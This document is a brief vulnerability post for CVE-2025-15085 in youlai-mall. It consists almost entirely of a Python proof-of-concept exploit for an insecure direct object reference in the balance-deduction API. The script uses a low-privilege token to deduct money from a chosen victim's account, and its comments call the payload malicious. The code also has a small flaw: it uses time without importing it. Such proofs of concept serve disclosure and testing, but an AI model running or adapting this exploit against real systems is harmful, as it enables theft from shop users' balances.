CVE-2025-15085: youlai-mall 余额扣减功能权限绕过漏洞

import requests import json # CVE-2025-15085 PoC - youlai-mall IDOR Balance Deduction # Target: youlai-mall 1.0.0/2.0.0 TARGET_URL = "http://target.com/api/member/balance/deduct" ATTACKER_TOKEN = "attacker_legitimate_token" # Low privilege user token TARGET_USER_ID = 12345 # Victim user ID to deduct balance from headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # Malicious payload - exploiting IDOR to deduct victim's balance payload = { "userId": TARGET_USER_ID, "amount": 1000, "orderNo": "MALICIOUS_" + str(int(time.time())) } response = requests.post(TARGET_URL, headers=headers, json=payload, verify=False) print(f"Status: {response.status_code}") print(f"Response: {response.text}")